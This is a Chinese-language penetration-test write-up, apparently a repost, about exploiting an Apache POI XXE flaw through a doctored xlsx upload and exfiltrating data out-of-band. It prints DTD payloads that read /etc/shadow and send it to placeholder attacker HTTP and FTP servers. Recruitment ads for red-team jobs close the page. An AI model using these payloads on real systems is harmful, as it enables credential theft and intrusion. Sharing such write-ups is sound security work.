Apache POI 与 OOB-XXE 组合实战
Posted 雷神众测
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache POI 与 OOB-XXE 组合实战相关的知识,希望对你有一定的参考价值。
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
在一次项目中偶然发现了一处excel上传功能,恰巧碰到Apache POI与OOB-XXE两种漏洞同时利用成功的情况,实属幸运,特别将这次渗透过程记录分享给大家,希望给大家启发,不足之处也请指教。
No.1
背景介绍
Apache POI
Excel、Word、pdf上传功能在一些财务、办公、数据分析系统中较为常见,在其他一些需要批量导入数据的系统中也是较为常用的功能。开发人员也大多使用Apache POI 的java类库来解析文件,关于POI的XXE漏洞在目前公开的信息中,有下面的CVE ,CVE-2014-3529、CVE-2016-5000、CVE-2017-5644,其影响版本大多为3.15以前版本,具体信息大家可根据CVE进行查询。
OOB-XXE
OOB-XXE(Out-of-band XML External Entity),全称带外XML外部实体,与很多其他漏洞一样XXE也分为带内和带外。带内XXE攻击更为常见,攻击者可以立即收到对XXE有效负载的响应。对于带外XXE攻击(也称为盲注XXE),Web应用程序不会立即做出响应。
No.2
实战
漏洞探测
1、解压excel
2、编辑 xl/worksheets/sheet1.xml
这里其实也可对xl/workbook.xml进行编辑,由于我已经知道后端主要解析的是sheet1.xml所以我这里直接改了sheet1.xml,这与后端解析实现有关,不固定为该文件。
3、重新打包,进行上传
下图中收到了刚才构造的http请求
OOB环境
目前只是知道了该上传点存在XXE漏洞,但是要扩大漏洞危害,必须要读取到系统上的敏感文件。这时需要用到完整的OOB-XXE环境,我们利用下面的图片来进行完整的说明。
1.攻击者发送XML请求,请求中带有向攻击者服务器引入外部实体DTD文件的内容
2.目标服务器接收到攻击者请求后向攻击者服务器请求DTD文件资源
3.目标服务器接收到引入外部DTD文件中的内容
4.目标服务器开始解析外部DTD文件中读取服务器敏感信息的指令
5.目标服务器将读取到的信息通过例如ftp、http、gopher等协议向攻击者服务器发送请求
XXE攻击
需要利用的是XML协议中的引入外部DTD文件特性,格式如下
由此我们可以引入读取系统文件的DTD文件,进而通过OOB-XXE将敏感信传递出来,如下面的payload,其中ff.dtd即读取系统文件的DTD文件
<!ENTITY % asd SYSTEM "http://YOURSERVER/ff.dtd">
%asd;
%c;
]>
<a>&xxe;</a>
ff.dtd使用HTTP协议时
<!ENTITY % data SYSTEM "file:///etc/shadow">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://YOURSERVER/p=%data;'>">
%all;
启动web服务,让目标服务器来请求我们的ff.dtd文件
然而这里出现一个问题,如下图,服务器响应“Illegal character in URL”,并且我们用于接收信息的监听端也未收到任何请求。
这是因为上述payload直接将数据拼接在URL后面,然而这里会出现两种情况:
1、目标服务器发起的是Get请求,我们都知道Get请求的URL长度是有限制的,一旦我们读取的内容过大就会出现请求异常。
2、在RFC 3986协议中指出,URI中只能包含下面的84个字符,其他字符需要URL编码,否则视为非法字符。
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~:/?#[]@!$&'()*+,;=
显然这次碰到的问题属于第2种问题,我们改读取其他不含非法字符的文件信息,例如 /etc/hostname
如下图,我们的监听端读取到了hostname信息
然而对于xxe来说支持的协议远不止http,还有ftp协议,我们使用国外研究者发布的一个ftp server(https://github.com/ONsec-Lab/scripts)来作为信息读取端。
ff.dtd使用下面的payload,同样还是读取/etc/shadow
<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY xxe SYSTEM 'ftp://%d;@YOURFTPSERVER/'>">
%c;
如下图,在ftp server中读取到了目标服务器发送的shadow文件数据
这里其实作为带外XXE,本不应收到服务器的响应数据,但是这里我也很幸运的收到了服务器的响应,可能与后端实现有关,不同环境可能表现不同的现象。
至此整个利用流程就结束了。本次实战中使用到的漏洞关键还在于POI的解析漏洞,OOB-XXE只能算是一种利用技术,可能有人会疑问我通篇都没有提到如何发现后端使用的是POI解析文件的,这其实是一个小失误,在早期的测试中某个payload引发了一个异常,服务器向前端抛出了一个POI版本相关的错误,奈何当时忘记截图后期再也触发不了了 - -!
No.3
总结
虽然本次实战渗透中利用的漏洞都为较老的漏洞,但是作为不太常见的漏洞如果之前仅是了解或阅读过相关文章,显然不足以证明自己理解该漏洞的利用过程,其中各个环节也有可能出现被卡住的情况,例如前文中对xlsx文件中具体解析的是哪个xml文件,需要耐心尝试,再比如http请求异常的情况也属于未见过的异常。并且本次实战环境是有waf存在的,从整个测试流程下来似乎并没有感觉到WAF的作用,显然在这种带外攻击中,WAF扮演的角色仍然不足以有效识别这种攻击。
招聘
4. 具备美术功底、懂得设计美化等
简历投递至 strategy@dbappsecurity.com.cn
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 strategy@dbappsecurity.com.cn
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/javascript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉mysql、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
专注渗透测试技术
全球最新网络攻击技术
END
以上是关于Apache POI 与 OOB-XXE 组合实战的主要内容,如果未能解决你的问题,请参考以下文章
Java使用Apache poi 操作Excel-基本概念与使用